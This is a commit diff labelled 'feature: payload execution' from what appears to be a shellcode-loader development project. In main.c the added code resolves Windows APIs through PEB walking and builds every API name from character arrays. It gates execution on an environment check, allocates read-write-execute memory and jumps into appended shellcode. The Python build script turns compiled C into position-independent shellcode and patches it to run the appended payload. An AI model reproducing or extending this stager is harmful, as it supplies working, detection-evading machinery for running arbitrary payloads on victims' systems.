feature: payload execution

source/main.c

@@ -1,14 +1,9 @@
 #include <Windows.h>
 #include "peb_lookup.h"
 
-/*
-	char load_lib_name1[] = { 'N','t','Q','u','e','r','y','S','y','s','t','e','m','E','n','v','i','r','o','n','m','e','n','t','V','a','l','u','e',0 };
-	LPVOID load_lib = get_func_by_name((HMODULE)base1, (LPSTR)load_lib_name1);
-	if (!load_lib) {
-		return 2;
-	}
-	*/
 
+//extern char *dobin;
+char *dobin;
 
 int main()
 {
@@ -31,7 +26,6 @@ int main()
 	FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName)
 		= (FARPROC(WINAPI*)(HMODULE, LPCSTR)) get_proc;
 
-
 	// ntdll.dll: GetEnvironmentVariableW()
 	char GetEnvironmentVariableW_str[] = { 'G','e','t','E','n','v','i','r','o','n','m','e','n','t','V','a','r','i','a','b','l','e','W', 0 };
 	int (WINAPI * _GetEnvironmentVariableW)(
@@ -44,18 +38,15 @@ int main()
 			_In_ DWORD nSize)) _GetProcAddress((HMODULE)base, GetEnvironmentVariableW_str);
 	if (_GetEnvironmentVariableW == NULL) return 4;
 
-	
-
+	// Execution Guardrail: Env Check
 	wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
 	wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
-
-	//LPCWSTR envVarName = L"USERPROFILE";
 	WCHAR buffer[1024];  // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
 	DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))_GetEnvironmentVariableW)(envVarName, buffer, 1024);
 	if (result == 0) {
 		return 6;
 	}
-	if (mystrcmp(buffer, tocheck) != 0) { // escape backslash
+	if (mystrcmp(buffer, tocheck) != 0) { 
 		return 6;
 	}
 
@@ -78,6 +69,27 @@ int main()
 	wchar_t msg_title[] = { 'D','e','m','o','!', 0 };
 	_MessageBoxW(0, msg_title, msg_content, MB_OK);
 
+	// Copy shellcode
+	// ntdll.dll: VirtualAlloc()
+	char VirtualAlloc_str[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0 };
+	LPVOID (WINAPI * _VirtualAlloc)(
+		_In_opt_ LPVOID lpAddress,
+		_In_ SIZE_T dwSize,
+		_In_ DWORD  flAllocationType,
+		_In_ DWORD  flProtect) = (LPVOID (WINAPI*)(
+			_In_opt_ LPVOID lpAddress,
+			_In_ SIZE_T dwSize,
+			_In_ DWORD  flAllocationType,
+			_In_ DWORD  flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
+	if (_VirtualAlloc == NULL) return 4;
+	char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40);
+	for(int n=0; n<272; n++) {
+		dest[n] = dobin[n];
+	}
+
+	// Exec shellcode
+	 (*(void(*)())(dest))();
+
 	return 0;
 }
 

supermega.py

@@ -5,6 +5,7 @@ import shutil
 
 print("Super Mega")
 
+use_cleanup = True
 use_compile = True
 use_test = False
 use_sgn = False
@@ -12,6 +13,13 @@ use_append = True
 
 
 def main():
+    if use_cleanup:
+        os.remove("main.asm")       # generated from compiling source/main.c
+        os.remove("main-clean.asm") # cleaned for being a shellcode
+        os.remove("main-clean.exe") # assembled
+        os.remove("main-clean.bin")
+        os.remove("main-clean-append.bin")
+
     if use_compile:
         print("--[ Compile C source to ASM ]")
         path_cl = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\cl.exe'
@@ -42,7 +50,7 @@ def main():
         else:
             print("  Generated main-clean.asm")
 
-    print("--[ Compile to exe ]")
+    print("--[ Assemble to exe ]")
     path_ml64 =  r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\ml64.exe'
     subprocess.run([
         path_ml64,
@@ -106,6 +114,7 @@ def main():
             output.write(data_payload)
 
         print("--[ Test Append shellcode ]")
+        print("---[ Stager: {}  Shellcode: {} ]".format(len(data_stager), len(data_payload)))
         path_shexec = r'C:\Research\hasherezade\exec_fiber\sh-exec-fiber.exe'
         subprocess.run([
             path_shexec,
@@ -133,13 +142,21 @@ def clean_asm_file(filename):
     # ;	ret	0
     # main	ENDP
     # _TEXT	ENDS
+    #for idx, line in enumerate(lines): 
+    #    if lines[idx].startswith("main\tENDP"):
+    #        print("--( Fix main-end jmp at line: {}) ".format(idx))
+    #        lines[idx-1] = "; " + lines[idx-1]
+    #        lines[idx-2] = "; " + lines[idx-2]
+    #        lines.insert(idx-4, "\tjmp shcstart\r\n")
+    #        break
+        
     for idx, line in enumerate(lines): 
-        if lines[idx].startswith("main\tENDP"):
-            print("--( Fix main-end jmp at line: {}) ".format(idx))
-            lines[idx-1] = "; " + lines[idx-1]
-            lines[idx-2] = "; " + lines[idx-2]
-            lines.insert(idx-4, "\tjmp shcstart\r\n")
-            break
+        if "dobin" in lines[idx]:
+            lines[idx] = lines[idx].replace(
+                "mov	r8, QWORD PTR dobin",
+                "lea	r8, [shcstart]"
+            )
+            
         
     #   _TEXT	ENDS
     #   END